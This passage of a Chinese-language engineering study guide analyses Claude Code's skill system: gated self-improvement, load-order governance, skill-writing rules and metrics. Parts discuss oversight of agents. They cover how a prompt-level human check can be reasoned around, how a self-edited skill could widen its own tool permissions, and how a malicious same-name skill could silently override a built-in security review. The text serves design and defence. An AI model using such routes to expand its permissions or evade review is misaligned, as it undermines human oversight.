| 走不走 review | PR review | 无 |
| 改坏了能回滚吗 | git checkout | 不能 |
自动改写的最大风险是"改错了没人发现"。 项目级文件的改动会出现在 diff 里、会经过 review、改坏了能回滚。
于是得到本章最重要的一条原则(我认为是全文第二值钱的,仅次于 §6.4):
允许自我修改的范围 = 已经存在外部审计和回滚机制的范围。
这条原则的价值在于它把一个模糊问题变成了可判定的问题:
| 问法 | 性质 |
|---|---|
| ❌ "让 agent 自动改文件安全吗?" | 无法回答(要讨论模型多可靠、改动多大、多久出错一次) |
| ✅ "这个 artifact 有没有 git?" | 一句话能答 |
而且它给出了一个反直觉的设计手法:
不要发明新的安全机制,把风险挪到已有安全机制覆盖的地方。
我原来想的是"怎么限制模型的改动幅度"(发明新机制)。 源码的答案是换一个维度:不限制改动幅度,限制可改动的对象。
闸门三:检测用小模型,且建议必须带出处
systemPrompt: 'You detect user preferences and process improvements during skill execution.',
useTools: false, // ← 不给工具,只能输出文本
getModel: getSmallFastModel, // ← 小模型输出是结构化三元组:
Output a JSON array inside <updates> tags. Each item:
{"section": "...", "change": "...", "reason": "which user message prompted this"}reason 字段是必填的,而且要求指向「哪条用户消息触发了这个建议」。
这是可审计性的设计。没有出处的自动建议是无法评估的—— 用户看到"建议在第 3 步加一句检查",如果不知道这是从自己哪句话推出来的, 他只能凭感觉接受或拒绝。
我在那三份文档里讲过"把吐槽变成规则",但没讲规则要带出处。这是一个缺口。
它的 prompt 里的正负例也很值得抄:
Look for:
- Requests to add, change, or remove steps: "can you also ask me X", "don't do Z"
- Preferences about how steps should work: "use a casual tone"
- Corrections: "no, do X instead", "always use Y"
Ignore:
- Routine conversation that doesn't generalize (one-time answers, chitchat)
- Things the skill already does ← ★ 这条是防膨胀的最后那条负例值得单独说。 没有它,每次用户说"记得跑测试" (而 SKILL.md 里已经写了),都会产生一条重复建议—— Skill 会越改越臃肿,最后变成第 0 章那个 -2.9pp 的大文档。
自演化系统必须自带反膨胀约束,否则它会朝着"越来越长"单向漂移。 因为它的每一次触发都倾向于"加东西",从来没有一个力量让它删东西。
闸门四:人在回路是架构断点,不是流程约定
检测出来的建议不会直接落盘。它先进一个状态对象:
context.toolUseContext.setAppState(prev => ({
...prev,
skillImprovement: { suggestion: { skillName, updates: result.result } },
}))然后 UI 弹确认框,用户选 applied 或 dismissed。只有 applied 才调 applySkillImprovement() 真正写文件。
这是本章第二个重要原则。"人在回路"这个词我以前说过很多次, 但一直是个模糊概念。这里的实现让我看清了它的具体形态:
检测(自动)→ 提议(自动)→ 决策(人)→ 执行(自动)
↑
不可跳过的状态转移关键在于:检测循环在代码上拿不到写文件的能力。 它唯一能做的事是往 AppState 里塞一个待确认对象。
对比两种"人在回路":
| 提示词级(弱) | 架构级(强) | |
|---|---|---|
| 形态 | 在 prompt 里写"执行前必须先问用户" | 检测代码里没有写文件的调用路径 |
| 能被绕过吗 | 能——模型可以"合理地"推理出这次不用问 | 不能——它物理上做不到 |
人在回路不能靠提示词。模型可以合理地推理出这次是例外。 要做成架构上的状态机断点:让 agent 的代码路径物理上不包含执行能力。
这也是"Agent 不可达层"的一种实现方式——不靠沙箱,不靠权限,靠状态机结构。
11.4 写回时的保护:frontmatter 不许动
用户点了确认之后,再调一次小模型把改动融进文件,prompt 里有四条规则:
- Integrate the improvements naturally into the existing structure
- Preserve frontmatter (--- block) exactly as-is ← ★
- Preserve the overall format and style
- Do not remove existing content unless an improvement explicitly replaces it第二条不是格式要求,是安全约束。
回忆 §10.1:frontmatter 里有什么?allowedTools、hooks、disableModelInvocation、 paths、model——全是权限和治理字段。
所以这条规则的真实含义是:
自演化只能改「怎么做」,不能改「允许做什么」。
推广成一条通用原则:
任何自修改系统,都要先划出「改这里等于扩大权限」的区域并锁死。 提权面必须从可写范围里排除。
11.5 一个诚实的评价:弱约束 + 强审计
但这条 frontmatter 保护是提示词级的,不是代码级的。 按 §9.1 的判据("Hooks 保证执行,Prompt 不保证"), 这是概率性保障,不是确定性保障。
理论上小模型可以改坏 frontmatter,然后一个 Skill 悄悄给自己扩了工具权限。
我本来想把这个记成"一处该用代码校验却用了提示词"的缺陷。但再想一层:
这个风险已经被闸门二压下去了。 改动落在git 仓库里的明文文件上, git diff 一眼就能看见 frontmatter 变了。
它不需要在写入时校验,因为它选了一个天生带 diff 审计的载体。
所以这是一个弱执行约束 + 强审计载体的组合。而它比反过来那个组合更实用:
| 组合 | 评价 |
|---|---|
| 弱约束 + 强审计(本案) | 站得住——漏了也会被 diff 抓到 |
| 强约束 + 无审计载体 | 危险——约束一旦有 bug,无人知晓 |
诚实地说:我不确定这是有意设计,还是"先用提示词凑着,反正在 git 里"。 但无论如何,这个组合在工程上是成立的。
面试里这样表述会很有说服力:不要把它讲成"他们做得很完美", 讲成"这里是弱约束,但因为载体选得好所以可以接受, 而且如果扩展到非 git 的层就必须立刻升级为代码校验"—— 后者展示的是你能判断一个设计的适用边界。
11.6 一个容易忽略的点:整个功能要有远程关停开关
【CC】这个功能有双重开关:编译期 feature flag + 运行时远程配置。
这条我在那三份文档里完全没有:
任何能自动修改系统自身的能力, 都必须有一个不依赖该系统的关停路径。
为什么强调"不依赖该系统"?因为如果关停开关本身是被自演化管理的配置, 那它就可能被改坏——关停开关必须在自演化的可写范围之外。
11.7 ★★ 为什么实现这么"轻":一个定位错误的修正
现在回答 §11.2 那个问题。这一节是本章最有价值的部分。
我拿源码去和学术界对照,找到了微软研究院的 SkillOpt—— 它把 skill 文档当作冻结 agent 的可训练外部状态:agent 不动,优化 skill.md。
两者放一起对比,差异非常清楚:
| 维度 | SkillOpt(论文) | Claude Code(生产) |
|---|---|---|
| 优化信号 | 评测集上的分数 | 真实会话里的用户纠正语句 |
| 循环形态 | 离线,跑到收敛(100 轮) | 在线,每 5 轮检测一次 |
| 需要 ground truth 吗 | 需要(必须有 expected_output) | 不需要 |
| 人类介入 | 无(全自动跑到收敛) | 每次改动都要人点确认 |
| 收益量化 | +20 分(0.73→0.93) | 无公开数字 |
| 改动可见性 | 输出一个新文件 | 原地改 git 里的 SKILL.md |
这两条路根本不是同一件事,虽然都叫"自演化":
- SkillOpt 是离线的 prompt 优化(本质是 DSPy 那一类)。 需要评测集,收益可量化,能拿到漂亮数字。
- Claude Code 是在线的隐性知识捕获。它解决的是 评测集里根本没有的东西:用户的个人偏好、这个仓库的特定约定、"我们这儿不这么干"。
关键洞察:后者这类知识没有 expected_output, 所以永远进不了 SkillOpt 的循环。
于是那个"为什么实现这么轻"的问题有了答案:因为两者优化的目标函数不同。
| 目标函数 | 谁能当裁判 | |
|---|---|---|
| SkillOpt | 在已知任务分布上的正确率 | 评测集(可自动化) |
| Claude Code | 这个用户/这个仓库想要什么 | 只能是用户本人 |
所以人类确认不是安全兜底,它就是目标函数本身。
我原来在那三份文档里写"人类审核机制来防止过度拟合"—— 把人类当成了一道安全闸。这是一个定位错误,不是程度错误。 在这类问题里,用户的那一次点击是唯一的信号来源。 没有它,系统根本不知道该往哪个方向改。
这个修正在面试里很有分量,因为它区分了两种自演化: 被问"你怎么做 Skill 自演化"时,先反问"优化目标是通用正确率还是特定偏好"—— 这两个答案的架构完全不同。
11.8 【sid 现状】这一块还没有
我核过【sid】:sid-code 目前没有自演化机制 (没有对应的 skillImprovement 实现)。
有一个相关但不同的东西:skill-creator 内置 Skill—— 它是引导用户创建 Skill(人主导的录制),不是自动改进已有 Skill。
这是一个真实的能力缺口,而且它的实施顺序应该是:
| 前置条件 | 现状 | 说明 |
|---|---|---|
① 有 invokedSkills 状态(知道正在用哪个 Skill) | ✅ 已有(§6.3) | 自演化必须复用它 |
| ② 能区分项目级来源 | ✅ 已有(ExtensionSource) | 闸门二的基础 |
| ③ 有小模型可用 | ✅ 已有 | 检测阶段用 |
| ④ 有确认 UI 通道 | ✅ 已有(权限确认框) | 闸门四的基础 |
四个前置条件全部具备,所以这是一个"可以做"而非"要先补基建"的功能。
11.9 一个漂亮的架构观察:一份状态被三处复用
【CC】invokedSkills 这份状态(§6.3 那个)被三个不相干的功能消费:
| 消费方 | 用它做什么 | 需要的语义 |
|---|---|---|
| 压缩 | 压缩后重新注入原文 | 我正在遵循什么流程 |
| 自演化 | 判断该改哪个 SKILL.md | 用户在纠正哪个流程 |
fork 的 finally | 清理子代理残留 | 哪些流程该随子代理死掉 |
"一份状态被三个功能复用"通常是坏味道,但这里是对的, 因为三者问的是同一个问题的不同侧面。
而且这个复用带来了一个免费的正确性: 自演化要改的必须是"用户此刻正在用的那个 Skill"—— 如果它去读磁盘上所有 Skill,就没法知道用户的纠正是针对哪一个。
更妙的是:§11.3 闸门一的第 ① 条限制(只在主线程)不是加上去的, 是数据结构本身决定的——getInvokedSkillsForAgent(null) 取的是主线程桶, 在子代理里跑这个检测拿到的是空集合,自然就不会触发。
最好的限制是不需要写代码来实施的限制。
11.10 本章自检
- 自演化的四道闸门分别是什么?
- 为什么只允许改项目级 Skill?这条原则怎么把模糊问题变成可判定问题?
- 建议为什么必须带
reason(出处)? - "Things the skill already does" 这条负例防的是什么?为什么自演化必须自带反膨胀约束?
- 提示词级人在回路和架构级人在回路的区别是什么?
Preserve frontmatter exactly as-is为什么是安全约束而不是格式要求?- 为什么生产实现比论文方案"轻"这么多?两者的目标函数有什么不同?
- 「人类确认是安全兜底」这个定位错在哪?
第 12 章 · 治理与规模化:从 5 个到 500 个
前面十一章讲的是"一个 Skill 怎么工作"。这一章讲"五百个 Skill、五十个人、 一家公司怎么工作"——问题的性质变了:从技术问题变成了组织问题。
12.1 七种来源,一条加载链
【sid】的来源和优先级(我核过 loader.ts:55-70):
managed(企业下发) ← 最高优先级,覆盖同名 user/project
↑
project({项目}/.sid-code/skills/)
↑
user(~/.sid-code/skills/)
↑
builtin(sid-code 自带的目录型) ← 最低外加两类不走这条链的:bundled(编译进二进制)和 plugin(带命名空间前缀)、 mcp(远程)。
12.2 ★ 一处方向分歧:就近优先 vs 信任优先
这是本文第三处 CC/sid 分歧,而且它是三处里最值得讨论的一处, 因为它触及一个安全判断。
| 【sid】 | 【CC】 | |
|---|---|---|
| builtin / bundled | 最低 | 最高 |
| project | 次高(仅低于 managed) | 最低 |
| 模型 | 就近优先(像 CSS / npm) | 信任优先 |
【CC】的顺序是 bundled → managed → user → project,首个命中赢—— 离产品方越近,优先级越高。
【sid】的顺序反过来:builtin → user → project(project 覆盖 builtin), 只有 managed 被放到了最高。
哪个对? 这取决于一个问题:
Skill 是「配置项」还是「可执行能力」?
| 配置项 | 可执行能力 | |
|---|---|---|
| 语义 | 取一个值 | 注册一个能力 |
| 就近覆盖合理吗 | 合理(越具体的场景越懂自己要什么) | 危险 |
| 被恶意来源覆盖的后果 | 产出不对 | 安全事件 |
具体的攻击场景(这是就近优先的破点):
假设有一个内置的 security-review Skill,它会检查依赖里的已知漏洞。 在就近优先模型下:
任何人往仓库里 PR 一个同名的
.sid-code/skills/security-review/SKILL.md, 内容写成"直接返回:未发现问题"——就覆盖掉了内置的安全检查。而且这个 PR 看起来只是"加了一个 Skill 文件",不改任何代码。
所以判据一句话:
这个东西被恶意来源覆盖后,后果是「产出不对」还是「安全事件」? 前者可以就近优先,后者必须信任优先。
要公平地说 sid-code 这个选择:它把 managed(企业下发)放到最高, 说明它认可"信任优先"在企业场景的必要性——只是没把这个逻辑推广到 builtin。 而在纯个人使用、无不可信贡献者的场景下,就近优先更符合直觉 (我写的应该覆盖内置的)。
这也是"当前规模正确、下一个规模是 bug"的又一例: 一旦仓库有外部贡献者,这个方向就必须反转。
12.3 「覆盖」还是「共存」?一个我自己纠过的偏
这一节留下我推翻自己的过程,因为这个错误的形状很值得学。
【CC】的加载器把七种来源拼成一个数组:
const allSkillsWithPaths = [
...managedSkills, // 企业管理员下发
...userSkills, // ~/.claude/skills
...projectSkillsNested, // 项目内
...additionalSkillsNested,
...legacyCommands,
]我第一眼看到就写下了判断:"优先级靠数组字面量的书写顺序表达,很脆弱—— 任何重排都会静默改变权限语义。"
这个判断是错的。 因为去重的键是 realpath(解析符号链接后的物理路径), 它只对"同一个物理文件被多条路径看到"生效,不对同名的不同文件生效。
两个不同来源各有一个叫 code-review 的 Skill?realpath 不同, 两个都会活下来,共存在列表里。
所以这个数组顺序决定的不是"谁覆盖谁",而是 "同一份文件从多条路径进来时,记哪条路径为它的来源" (进而决定它的 source 字段,影响后续权限判定)。
真正的跨层同名优先级在另一处拼接(配合 Array.find 首个命中赢)。
这个错误的形状值得记住:
看到"顺序敏感"就警觉是对的, 但顺序影响的是哪个维度,取决于「比较/去重的键是什么」。 不看键就评判顺序,等于不看坐标系就评判方向。
12.4 一条只有踩过才知道的坑:文件唯一性不能信 inode
顺着上面那个 realpath 说下去。【CC】的注释里有一条极有价值的教训:
/**
* Uses realpath, which is filesystem-agnostic and avoids issues with
* filesystems that report unreliable inode values (e.g., inode 0 on
* some virtual/container/NFS filesystems, or precision loss on ExFAT).
* See: https://github.com/anthropics/claude-code/issues/13893
*/用 realpath 而不是 inode,因为 inode 在虚拟/容器/NFS 文件系统上可能返回 0, 在 ExFAT 上有精度损失。
用 inode 做文件唯一性是教科书做法。但在 Docker 容器、网络挂载、 Windows 外置盘这些真实环境里会退化——inode 全是 0 → 所有文件被判为同一个 → Skill 全被去重掉只剩一个。
而且它挂着一个 issue 编号,说明是线上炸出来的。
教训:任何"文件唯一性判断",只要代码要跑在别人的机器上,就不能信 inode。
顺带一个性能细节:realpath 是 syscall,几百个 Skill 就是几百次 I/O, 所以实现是并行 stat + 串行判定——I/O 可以并发, 但去重必须串行,因为它是 first-wins,顺序决定谁活下来。
12.5 目录遍历的边界:git root 是天然的信任边界
【CC】向上遍历收集 skills 目录时有双硬停止:git root 和 home。
为什么是 git root? 因为它是天然的信任边界:
仓库内 = 「我团队的代码」(有 review、有 owner、有 diff)
仓库外 = 来源不明这条边界不需要额外定义或配置——git 已经帮你划好了。 这和 §11.3 闸门二(自演化只改 git 里的文件)是同一个思路的两次应用:
复用已有的信任/审计边界,不要发明新的。
它的局限也要知道(面试被问"什么时候失效"时用): 非 git 项目,或者"多仓库工作区"(一个目录里放了好几个独立仓库) 需要额外的边界定义机制。
12.6 淘汰:一个我设计了但生产不做的机制
我在那三份文档里精心设计过一套"五级淘汰策略" (90 天未使用自动标记、启动时提示清理……)。
我搜遍了源码:没有任何 last_used_at、invocation_count、staleness_days 之类的本地使用频率统计。
这个"不存在"比存在更有信息量。 想清楚原因后,得到一个更根本的判断:
成本能封顶时,就不那么需要 GC。
预算 + 三级降级已经让元数据开销恒定在 1%(§5.1)。 "删旧 Skill 省 Token"这个动机消失了——省不出来,它本来就只占 1%。
但真正的坑在于:淘汰的动机变了,不是消失了。
降级把成本从"上下文爆掉"(显性)转移成了 "描述被削导致触发精度下降"(隐性)。
| 淘汰的理由 | |
|---|---|
| 我原来算的 | 省 Token |
| 真实该盯的 | 保触发精度 |
我整篇都在算 Token,完全没算触发精度的衰减——而后者才是该盯的指标。
这一节的元教训:一个机制被"解决"之后, 要重新问一遍"它当初要解决的问题真的没了吗,还是换了个形态"。 封顶解决了成本问题,但把它转化成了精度问题。
12.7 淘汰是组织决策,不是单机决策
【CC】虽然本地不统计频率,但埋点极其细致——启动时每个 Skill 上报一条:
for (const skill of skills) {
logEvent('tengu_skill_loaded', {
_PROTO_skill_name: skill.name, // ← 注意这个前缀,见下
skill_source: skill.source,
skill_loaded_from: skill.loadedFrom,
skill_budget: skillBudget,
})
}这个分工很清楚:
客户端负责准入与上报,决策留给中心。不要在单机上做组织决策。
为什么淘汰必须是组织决策?因为单机数据回答不了那个真正的问题:
| 单机能回答 | 单机回答不了 |
|---|---|
| 我 90 天没用过这个 Skill | 团队还需不需要它 |
我 90 天没用 incident-rca,是因为这 90 天没出事故—— 这恰恰说明它有价值,而不是该删。
12.8 一个我完全没想到的点:Skill 名字是 PII
注意上面那个埋点里的 _PROTO_skill_name 前缀——它表示这个字段走特权列, 不进普通的 additional_metadata。
为什么 Skill 名字要按敏感信息处理? 因为名字是用户自己起的:
deploy-to-acme-prod ← 泄露了客户名
migrate-hsbc-ledger ← 泄露了客户名
fix-project-thunderbolt ← 泄露了内部代号任何"上报 Skill 使用情况"的方案, 第一个要解决的问题是名字脱敏通道,不是统计维度设计。
这条我从没想过。它属于那类"只有真的上过线才会遇到"的问题—— 设计文档里不会写,但合规评审会卡住你。
12.9 一个「解析了但没人用」的字段:version
SKILL.md 的 frontmatter 支持 version。【sid】也有(types.ts:75)。
【CC】那边我搜遍源码:version 从来没有被消费过。 没有版本比较,没有兼容性检查,没有升级提示,甚至不显示给用户。
我笔记里那套 npm 类比(package-lock.json 对应确定性解析、 peerDependencies 对应共享资产)基本落空。Skill 的分发是无版本约束的。
这是一个很好的反八股素材:
当有人大谈"Skill 需要依赖管理和版本约束"时, 可以指出生产系统里连已有的 version 字段都没消费—— 因为 Skill 的粒度太粗、耦合太松,还没到需要版本约束的复杂度。
"解析但不使用"这个状态本身也有信息: 产品方为版本管理留了口子,但至今没有需求强烈到要实现它。
12.10 命名空间:插件 Skill 的一个实现细节
【sid】插件 Skill 会被加上前缀(<plugin>:<name>),而实现里有一个坑:
// 关键——前缀在 sanitize 之后施加,绕开 sanitizeName 会把 `:` 替成 `-`、
// validateName 会拒 `:` 的问题(否则命名空间被破坏)
if (prefix) skill.name = `${prefix}:${skill.name}`;顺序问题:名字校验规则不允许 :,所以前缀必须在校验之后加。 如果在之前加,: 会被 sanitize 成 -,命名空间就静默失效了—— acme:deploy 变成 acme-deploy,看起来还挺正常, 但它不再是一个"带命名空间的名字",而是一个普通名字,会和用户自己写的 acme-deploy 撞车。
这类 bug 的形状:一个"规范化"步骤把你精心构造的结构信息抹平了, 而且结果看起来是合法的。面试里可以当"命名空间为什么容易做错"的例子。
12.11 企业管控:两级串联
【CC】的企业策略是两级:
| 级 | 做什么 | 效果 |
|---|---|---|
| 1. 渠道锁定 | 只许从插件渠道装 | 入口从六个收到一个 |
| 2. 来源白名单 | 只许这几个仓库 | 只管这一个入口 |
再加两条实现细节:
- 黑名单先于白名单(deny-wins,安全默认)
- 下载前拦截(恶意内容永不落盘,最便宜的审核 —— §10.7)
还有一条容易漏的:标识符归一化。
git@github.com:owner/repo.git
https://github.com/owner/repo这两个指向同一个仓库。必须归一化后才能比对黑名单, 否则黑名单形同虚设——拉黑了 https 形式,攻击者用 git@ 形式就绕过了。
我在那三份文档里设计审核流水线时,全是内容层面的检查 (静态分析、沙箱、行为监控),完全没有"标识符归一化"这一层。 这属于"清单类安全机制"的通用陷阱:匹配前的规范化和匹配规则本身一样重要。
12.12 本章自检
- 就近优先和信任优先的判据是什么?举出就近优先的具体攻击场景
- 同名 Skill 是覆盖还是共存?取决于什么?
- 「看到顺序敏感就警觉」这个直觉哪里不够?
- 为什么文件唯一性不能用 inode?
- 为什么 git root 是天然的信任边界?什么场景下它失效?
- 成本封顶之后为什么还需要淘汰?动机变成了什么?
- 为什么淘汰必须是组织决策?举例说明单机数据为什么会得出反的结论
- 为什么 Skill 名字要按 PII 处理?
version字段"解析但不使用"说明了什么?
第 13 章 · 怎么写一个好 Skill:可直接照抄的规范
前面十二章讲机制。这一章讲手感——拿到一个流程,具体怎么落成文件。
内容主要来自【CC】的一个有意思的东西:官方把"怎么写 Skill"这件事 本身做成了一个 Skill(skillify)。也就是说, 写 Skill 的规范是以「一个可执行的 Skill」的形式分发的,而不是一篇文档。
这个形式本身就是个信号:规范如果只是文档,没人会读; 规范如果是一个 Skill,它会在你需要的那一刻自己出现。
13.1 一份模板
---
name: cherry-pick-release # kebab-case,是压缩到极致的描述
description: 把一个 PR 挑到发布分支 # 一句话,给人看
whenToUse: | # ★ 唯一常驻上下文的部分
当用户要把 PR 挑到发布分支时使用。
例如"cherry-pick 到 release"、"CP 这个 PR"、"hotfix"。
allowedTools: [Bash(gh:*), read, edit] # 最小权限,注意是 gh:* 不是整个 Bash
mode: delegate # 产出型 → fork(§8.2)
---
# Cherry-pick 到发布分支
## 1. 确认目标分支
问用户挑到哪个 release 分支,不要猜。
**成功判据**:用户明确给出了分支名。
## 2. 找到 commit
`gh pr view <PR> --json mergeCommit`
⚠️ 用 mergeCommit 而不是 headCommit —— squash merge 之后 head 不在目标分支的历史里。
**成功判据**:拿到一个在 main 上存在的 SHA。
## 3. 执行 cherry-pick
⚠️ 冲突时**停下来问用户**,不要自己猜着解。
**成功判据**:`git status` 干净,或用户已确认解法。
**人工检查点**:有冲突时必须停。
## 4. 开 PR,不要直推
release 分支受保护,直推会被 GH013 拒。
**成功判据**:一个已开的 PR,且 CI 全绿。13.2 七条硬规则
① 每一步必须有「成功判据」,且必须可验证。(§2.3)
不是"写代码",是"一个已开的 PR 且 CI 全绿"。 这是必填字段,不是建议——因为结构缺失可以被检查,"写得不够具体"不能。
② whenToUse 给触发短语,不给场景描述。(§2.4)
# ✅ "例如'cherry-pick 到 release'、'CP 这个 PR'、'hotfix'"
# ❌ "用于需要将某个 PR 的改动应用到发布分支的场景……"触发是匹配问题,匹配问题给样例比给定义有效。而且写长了不提高触发率。
③ Gotcha 前置,通用步骤能删就删。(§2.1 / §6.6)
两个理由,第二个更硬:注意力衰减(弱), 超出 5000 Token 的部分在第一次压缩后物理消失(强)。
④ 最小权限,且要具体到子命令。
allowedTools: [Bash(gh:*)] # ✅ 只许 gh 命令
allowedTools: [Bash] # ❌ 等于给了整个 shell⑤ 不可逆操作标「人工检查点」。
合并、发消息、删数据、花钱——这些地方要写明"停下来问"。 而如果后果真的严重,别指望这句话:用 hooks(§9.1,Prompt 不保证)。
⑥ 能写成代码的写进 scripts/。(§4.6)
成本从几千 Token 降到几行输出,而且更准。这是三赢,没有 trade-off。
⑦ 简单的 Skill 保持简单。(§2.6)
两步的 Skill 不需要给每步都加注解。规范要声明自己的适用边界, 否则规范本身就成了它要消灭的那个问题。
13.3 一个反面清单:这些内容不要写
| 不要写 | 为什么 |
|---|---|
| "遵循 SOLID 原则" / "保持代码整洁" | 抽象原则的增量效果约 3%。模型已经知道这些词,但不知道你们这儿具体指什么 |
| 通用的 git / npm / 测试常识 | 模型本来就会。它唯一的作用是稀释信号 |
| 长篇背景介绍("本项目是一个……") | 模型不需要背景来执行流程 |
把 references/ 的内容抄进 body | 那是 Level 3,按需读;抄进来就变成 Level 2 常驻成本 |
重复 whenToUse 的内容 | 一份描述付两次钱 |
抽象原则该怎么写?把它展开成具名反模式清单。 【CC】内置的代码审查 Skill 里,7 条全部是具名坏味道 ("冗余状态"、"参数蔓延"、"解释 WHAT 而非 WHY 的注释"), 没有一条是"遵循 SOLID"。
这是"抽象原则效果差"这条数据的工程形态:不是不要原则, 是要把原则翻译成"这个具体的坏味道 + 它长什么样"。
13.4 一条防自我辩护的元规则
【CC】的审查 Skill 里有一句我认为很精妙:
If a finding is a false positive or not worth addressing, note it and move on —
do not argue with the finding, just skip it.
(如果一条发现是误报或不值得处理,记一笔然后继续——不要和它争论,直接跳过。)"不要和 finding 争论" 防的是一个具体的失效模式:
审查者和被审查者是同一个模型时,它有动力证明自己原来写的是对的。
于是它会写出长篇的辩解("这里其实不是问题,因为……"), 消耗大量 Token,最后一个问题也没修。
一句话就把这条路堵住了。 我在那三份文档里讲"验证类 Skill"时 完全没提这个失败模式。
推广:任何"自我评估"环节都要显式禁止辩解, 因为自我评估的天然偏向是为已有输出正名,而不是找问题。
13.5 输入侧的信号密度:只看用户消息
【CC】那个"写 Skill 的 Skill"在分析会话时,只取用户消息,不取 assistant 消息, 而且只取压缩边界之后的:
const userMessages = extractUserMessages(getMessagesAfterCompactBoundary(context.messages))prompt 里解释了为什么:
Pay attention to how they steered the process, to help capture their detailed preferences in the skill.
信号密度原则在输入侧的应用:assistant 消息是模型自己产生的,它已经"知道"; 用户消息里才有纠偏信息。
而且"用户在哪里纠正了你"在整个流程里被强调了两次。 这和 §11.3 那个检测器盯的是同一类信号——纠正 > 指令。 两个独立实现都指向这一点,这是很强的交叉验证。
13.6 一个完整的写作流程
① 做一次,做成功 ← 先有正确的过程,再谈固化
② 回看:我纠正了它几次? ← 纠正点 = 最高价值内容
③ 列出所有 Gotcha,按"会造成多大损失"排序
④ 给每一步写成功判据(不可验证的重写)
⑤ 找出能写成代码的步骤 → scripts/
⑥ 写 whenToUse:三个真实的触发短语
⑦ 定 mode:产出型 fork / 约束型 inline
⑧ 定 allowedTools:最小到子命令
⑨ 不可逆的地方 → 人工检查点;后果严重的 → hooks
⑩ 删一遍:模型本来就会的全删掉
⑪ 用一次,看它哪里没按预期做 → 回到 ②第 ⑪ 步是闭环,也是这一章和第 11 章的接缝: 人做这个循环叫"迭代",系统自动做这个循环叫"自演化"。
13.7 本章自检
- 七条硬规则里,哪一条有"确定性消失"级别的后果(不只是概率性削弱)?
- 抽象原则该怎么写才有效?
- "不要和 finding 争论"防的是什么失效模式?
- 为什么分析会话时只取用户消息?
allowedTools: [Bash]和[Bash(gh:*)]差在哪?
第 14 章 · 度量:怎么证明 Skill 真的有效
这一章的价值在于它否定了很多东西。我在那三份文档里列过一张八行的指标表格, 读起来很专业。但指标表格是任何人搜半小时都能列出来的, 而"我们埋了 A、B,故意没埋 C,因为 C 拿不到 ground truth"才是做过的证据。
所以这一章的重点不是"该测什么",而是"哪些测不了,以及为什么"。
14.1 第一优先级指标:触发准确率
如果只能测一个数,测这个:
模型在该用某个 Skill 的时候用了它吗?不该用的时候没用吗?
为什么它排第一?因为它是唯一一个"错了之后后面全错"的环节:
触发对了 → 流程被遵循 → 结果可能好可能坏(可以再优化)
触发错了 → 后面的一切都无意义而它有四种失效形态,必须分开测(这是加分点,因为修法完全不同):
| 形态 | 现象 | 修什么 |
|---|---|---|
| 漏触发 | 该用没用 | whenToUse 缺触发短语(§2.4) |
| 误触发 | 不该用却用了 | 描述太宽泛 / 和别的 Skill 重叠 |
| 错触发 | 用了错的那一个 | 两个 Skill 描述太像,需要区分度 |
| 降级触发 | 因为描述被截断而选错(§5.3) | 预算不够,或该用 disableModelInvocation |
第四种最隐蔽,而且它是系统的问题不是 Skill 作者的问题—— 但如果你只测一个总的"触发准确率",这四种会被混成一个数字, 看到数字下降你不知道该改哪里。
14.2 ★ ground truth 从哪来:这是真正的难点
上面那张表看着很好,但它有个致命前提:你得先知道"该不该用"的正确答案。
这个答案从哪来?
| 来源 | 可行性 |
|---|---|
| 人工标注每一轮对话该用哪个 Skill | 成本极高,且标注者自己也会有分歧 |
| 用户手动调用的记录当正样本 | 有偏——用户手动调用往往正是因为模型没自动触发 |
| 事后看"这轮任务成功了吗" | 归因不到 Skill(成功可能与 Skill 无关) |
所以触发准确率虽然是第一优先级指标,但它是最难拿到 ground truth 的一个。
这解释了一个我在源码里的观察:【CC】的埋点是 "哪些 Skill 被加载了"(tengu_skill_loaded)和 "哪些被调用了",但没有"哪些该被调用却没有"。
因为后者需要 ground truth,而 ground truth 不存在。
面试里这段是强信号:被问"你怎么度量 Skill 效果"时, 先说第一优先级指标是触发准确率,然后主动说出它的 ground truth 问题, 再给退路(下面 14.3)。只答指标表格的人拿不到这一层。
14.3 拿不到 ground truth 时的三条退路
退路一:用「用户纠正」作为负样本的代理信号。
用户在 Skill 执行后说"不是这样"、"应该先 X"——这是一个有信号但不完美的负样本。 它的偏差在于:只覆盖用户注意到并且愿意说出来的那部分。
(注意这正是 §11 自演化的信号源。同一个信号,一边用来改进 Skill, 一边可以用来度量。)
退路二:测「过程合规」而不是「结果正确」。
这条是可确定性验证的,而且是 agent 特有的维度:
Skill 说:先跑测试,再改版本号
↓
去轨迹里查:test 工具的调用时间戳 < 改 package.json 的时间戳?这是一个客观、可自动判定的检查,不需要人标注。
| 结果正确性 | 过程合规 | |
|---|---|---|
| 判定 | 需要 ground truth | 看轨迹顺序即可 |
| 能否自动化 | 难 | 能 |
| 回答的问题 | 做对了吗 | 有没有按流程做 |
而"有没有按流程做"恰好就是 Skill 存在的意义(§1.4.2:Skill 的内容是流程约束)。 所以过程合规是 Skill 最匹配的度量维度, 而我那八行指标表格里全是结果类指标。
退路三:A/B。 同一批任务,开/关某个 Skill 各跑一遍。 成本高但结论最硬。§5.8 引用的那个实测(84 次运行、$12.68)就是这么做的。
14.4 【sid 现状核验】埋点缺口
我核过【sid】的 Skill 埋点情况:
| 埋点 | 【CC】 | 【sid】 |
|---|---|---|
| 加载了哪些 Skill(含来源、预算) | ✅ 逐个上报 | 未见 |
| 降级事件(§5.9) | ✅(仅内部用户) | ❌ 零命中 |
| 使用频率(frecency) | ✅(只用于斜杠补全排序) | 未见 |
| 触发准确率 | ❌ 双方都没有(无 ground truth) | ❌ |
降级无埋点这一条是最该补的,理由在 §5.9 说过,这里重复一次因为它是本章主题:
它造出了一个用户和产品方双方都发现不了的失效模式: 描述正在被削、触发精度正在下降,没有任何信号。
这是"可观测性缺口"的教科书形态:不是"数据不够多", 而是"某个特定的状态转移没有留下痕迹"。
14.5 一条通用铁律:零命中必须反向自证
这条来自本仓 CLAUDE.md,但它对本章特别适用。
我上面写了好几个"零命中"的结论(SAFE_SKILL_PROPERTIES 没人用、 降级没埋点)。"我搜了,没搜到"本身不是证据—— 可能是我的搜索命令有 bug。
所以每一条零命中结论,都要先证明这条命令能抓到真的东西:
# ① 先验证命令有效:搜一个确定存在的符号
rg -a -c 'SENSITIVE_PROPERTIES' packages/core/src/skill/permission.ts
# → 2 命令有效
# ② 再搜目标
rg -a -c 'SAFE_SKILL_PROPERTIES' -g '!packages/core/src/skill/permission.ts' packages/
# → 零命中 这时"零"才有意义没有第 ① 步,第 ② 步的"零"可能只是命令写错了。
我在附录 A 给的每条命令都遵循这个模式。
14.6 死代码陷阱:有实现 ≠ 有能力
顺着上一节。SAFE_SKILL_PROPERTIES 是一个完整实现、有注释、 在语义上正确、但零消费者的常量。
